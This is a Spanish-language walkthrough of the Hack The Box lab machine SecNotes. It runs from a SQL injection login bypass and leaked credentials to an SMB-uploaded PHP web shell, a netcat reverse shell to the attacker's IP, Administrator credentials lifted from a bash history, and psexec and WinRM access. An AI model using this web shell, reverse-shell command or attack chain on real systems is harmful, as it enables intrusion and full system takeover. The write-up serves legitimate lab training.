Entrada

SecNotes Writeup

SecNotes

Maquina windows con SQL vulnerable, informacion de usuarios expuestas, recursos compartidos con SMB, subsistema linux con informacion de usuarios administradores.

Reconocimiento.

1
nmap -p- -sS --open --min-rate 5000 -vvv -n -Pn 10.10.10.97
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
Nmap scan report for 10.10.10.97
Host is up (0.062s latency).

PORT     STATE SERVICE      VERSION
80/tcp   open  http         Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
| http-title: Secure Notes - Login
|_Requested resource was login.php
|_http-server-header: Microsoft-IIS/10.0
445/tcp  open  microsoft-ds Windows 10 Enterprise 17134 microsoft-ds (workgroup: HTB)
8808/tcp open  http         Microsoft IIS httpd 10.0
| http-methods:
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
Service Info: Host: SECNOTES; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-os-discovery:
|   OS: Windows 10 Enterprise 17134 (Windows 10 Enterprise 6.3)
|   OS CPE: cpe:/o:microsoft:windows_10::-
|   Computer name: SECNOTES
|   NetBIOS computer name: SECNOTES\x00
|   Workgroup: HTB\x00
|_  System time: 2022-11-20T11:42:13-08:00
|_clock-skew: mean: 2h40m00s, deviation: 4h37m08s, median: 0s
| smb-security-mode:
|   account_used: <blank>
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time:
|   date: 2022-11-20T19:42:16
|_  start_date: N/A
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required

Enumeracion

Puerto 80

En la ruta http://10.10.10.97 tenemos un panel de autenticaion que nos permite registrarnos.

Es buena practica intentar inyecciones SQL en los cuestionarios de resgitro.

Si registro una inyeccion SQL tipica ' or 1=1-- -', tengo acceso a informacion resgitrada por otros usuarios .

En una de las notas hay unas credenciales tyler / 92g!mA8BGjOirkL%OG*&, con crackmapexce compruebo las credenciales .

imagen-de-prueba

imagen-de-prueba

imagen-de-prueba

imagen-de-prueba

1
2
3
cme smb 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&'
SMB         10.10.10.97     445    SECNOTES         [*] Windows 10 Enterprise 17134 (name:SECNOTES) (domain:SECNOTES) (signing:False) (SMBv1:True)
SMB         10.10.10.97     445    SECNOTES         [+] SECNOTES\tyler:92g!mA8BGjOirkL%OG*& 

Son validas las credenciales.

Puerto 445.

Con smbmap y las credenciales buscamos si hay recursos compartidos.

1
2
3
4
5
6
7
8
❯ smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&'
[+] IP: 10.10.10.97:445	Name: secnotes.htb                                      
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	IPC$                                              	READ ONLY	Remote IPC
	new-site                                          	READ, WRITE	

El recurso new-site permite que el usuario tyler pueda leer y escribir, esto es una via potencial para subir archivos y ejecutarlos.

Puerto 8808.

Dentro del recusonew-sitehay dos archivos que se pueden ver en la ruta http://10.10.10.97:8808

1
2
3
4
5
6
7
8
9
10
11
❯ smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' -r 'new-site'
[+] IP: 10.10.10.97:445	Name: secnotes.htb                                      
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	new-site                                          	READ, WRITE	
	.\new-site\*
	dr--r--r--                0 Tue Nov 22 21:53:14 2022	.
	dr--r--r--                0 Tue Nov 22 21:53:14 2022	..
	fr--r--r--              696 Thu Jun 21 22:15:36 2018	iisstart.htm
	fr--r--r--            98757 Thu Jun 21 22:15:38 2018	iisstart.png
❯ cat test.txt

imagen-de-prueba

Intrucion

Subiendo un archivo .txt al recurso compartido, el archivo se puede leer en la ruta http://10.10.10.97:8808/test.txt

1
2
3
❯ smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' --upload test.txt 'new-site/test.txt'
[+] Starting upload: test.txt (5 bytes)
[+] Upload complete.

imagen-de-prueba

Ahora subimos un archivo .php con la funcion system para ejecutar comandos con cmd, con el comando whoami vemos al usuario tyler.

1
2
3
<?php
  system($_REQUEST['cmd']);
?>
1
2
3
❯ smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' --upload shell.php 'new-site/shell.php'
[+] Starting upload: shell.php (37 bytes)
[+] Upload complete.

imagen-de-prueba

Subire netcat.exe para enviar una revershell a mi maquina atacante, me pongo en escucha con nc por el puerto 443 y ejecuto el netcat en la maquina victima.

1
2
3
❯ smbmap -H 10.10.10.97 -u 'tyler' -p '92g!mA8BGjOirkL%OG*&' --upload nc64.exe 'new-site/nc64.exe'
[+] Starting upload: nc64.exe (45272 bytes)
[+] Upload complete.
1
http://10.10.10.97:8808/shell.php?cmd=nc64.exe -e cmd 10.10.14.6 443

imagen-de-prueba

1
2
3
4
5
6
7
8
9
❯ rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.6] from (UNKNOWN) [10.10.10.97] 52518
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\inetpub\new-site>whoami
whoami
secnotes\tyler

Escalar privilegios.

Dentro del directorio Desktopde tyler hay unos archivos .lnky uno llamado bash.lnk dentro hay ruta de un binario bash.exe que ejecuta un subsistema Ubuntu.

lnk son archivos de acceso directo de Windows.

1
2
3
4
5
6
C:\Users\tyler\Desktop>type bash.lnk
type bash.lnk
L wV	v(	9PO :+00/C:\V1LIWindows@	ヒLLI.h&WindowsZ1L<System32B	ヒLL<.pkSystem32Z2LP bash.exeB	ヒL<LU.Ybash.exeK-C:\Windows\System32\bash.exe"..\..\..\Windows\System32\bash.exeC:\Windows\System32%
wN]ND.Q`Xsecnotesx<sA㍧o'/x<sA㍧o'/=	Y1SPS0CGsf"=dSystem32 (C:\Windows)1SPSXFL8C&mq/S-1-5-21-1791094074-13639188404199337083-10021SPS0%G`%bash.exe@
)
 Application@v(	i1SPSjc(=OMC:\Windows\System32\bash.exe91SPSmDpHH@.=xhH(bP
1
C:\Windows\System32\bash.exe
1
2
3
4
5
6
7
8
C:\Windows\System32\bash.exe
mesg: ttyname failed: Inappropriate ioctl for device
lsb_release -a
No LSB modules are available.
Distributor ID:	Ubuntu
Description:	Ubuntu 18.04 LTS
Release:	18.04
Codename:	bionic

En este sistema estamos como usuario root , dentro del directorio root hay un archivo .bash_history en el hay un historial de comandos, uno de ellos es una conexion por smbclient como Administrator y su contraseña

1
2
whoami
root
1
2
3
4
5
6
7
8
ls -la
total 8
drwx------ 1 root root  512 Jun 22  2018 .
drwxr-xr-x 1 root root  512 Jun 21  2018 ..
---------- 1 root root  398 Jun 22  2018 .bash_history
-rw-r--r-- 1 root root 3112 Jun 22  2018 .bashrc
-rw-r--r-- 1 root root  148 Aug 17  2015 .profile
drwxrwxrwx 1 root root  512 Jun 22  2018 filesystem
1
2
3
4
5
6
7
8
9
10
11
12
cat .bash_history
mkdir filesystem
mount //127.0.0.1/c$ filesystem/
sudo apt install cifs-utils
mount //127.0.0.1/c$ filesystem/
mount //127.0.0.1/c$ filesystem/ -o user=administrator
cat /proc/filesystems
sudo modprobe cifs
smbclient
apt install smbclient
smbclient
smbclient -U 'administrator%u6!4ZwgwOM#^OBf#Nwnh' \\\\127.0.0.1\\c$

Comprobamos que las credenciales son validas Pwn3d! con crackmapexec.

1
2
3
❯ cme smb 10.10.10.97 -u 'Administrator' -p 'u6!4ZwgwOM#^OBf#Nwnh'
SMB         10.10.10.97     445    SECNOTES         [*] Windows 10 Enterprise 17134 (name:SECNOTES) (domain:SECNOTES) (signing:False) (SMBv1:True)
SMB         10.10.10.97     445    SECNOTES         [+] SECNOTES\Administrator:u6!4ZwgwOM#^OBf#Nwnh (Pwn3d!)

Utilzando la tool impacket-psexec accedemos como adminstrador.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
❯ impacket-psexec 'SECNOTES/Administrator:u6!4ZwgwOM#^OBf#Nwnh@10.10.10.97'
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation

[*] Requesting shares on 10.10.10.97.....
[*] Found writable share ADMIN$
[*] Uploading file WcMCYNlT.exe
[*] Opening SVCManager on 10.10.10.97.....
[*] Creating service Ywon on 10.10.10.97.....
[*] Starting service Ywon.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17134.228]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\WINDOWS\system32> whoami
nt authority\system

Extra habilitar RDP y Winrm.

Con crackmapexec habilitamos el rdp y con nmap lo comprobamos.

1
2
3
4
❯ cme smb 10.10.10.97 -u 'Administrator' -p 'u6!4ZwgwOM#^OBf#Nwnh' -M rdp -o action=enable
SMB         10.10.10.97     445    SECNOTES         [*] Windows 10 Enterprise 17134 (name:SECNOTES) (domain:SECNOTES) (signing:False) (SMBv1:True)
SMB         10.10.10.97     445    SECNOTES         [+] SECNOTES\Administrator:u6!4ZwgwOM#^OBf#Nwnh (Pwn3d!)
RDP         10.10.10.97     445    SECNOTES         [+] RDP enabled successfully
1
2
3
4
5
6
7
❯ nmap -p3389 --open -T5 10.10.10.97
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-22 22:56 CET
Nmap scan report for secnotes.htb (10.10.10.97)
Host is up (0.061s latency).

PORT     STATE SERVICE
3389/tcp open  ms-wbt-server

imagen-de-prueba

Despues de conectarme por RDP con al tool remmina a la maquina como administrador habilito el winrm para tener acceso por evil-winrm.

El winrm se puede habiliar en Pnatillas administrativas/Componentes de windows/Administracion remota de windows (WinRM)/Servicio WinRM/

imagen-de-prueba

imagen-de-prueba

1
2
3
4
5
6
7
❯ nmap -p5985 --open -T5 10.10.10.97
Starting Nmap 7.93 ( https://nmap.org ) at 2022-11-22 23:12 CET
Nmap scan report for secnotes.htb (10.10.10.97)
Host is up (0.044s latency).

PORT     STATE SERVICE
5985/tcp open  wsman
1
2
3
4
5
6
7
8
❯ evil-winrm -i 10.10.10.97 -u 'Administrator' -p 'u6!4ZwgwOM#^OBf#Nwnh'

Evil-WinRM shell v3.4

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami
secnotes\administrator
Esta entrada está licenciada bajo CC BY 4.0 por el autor.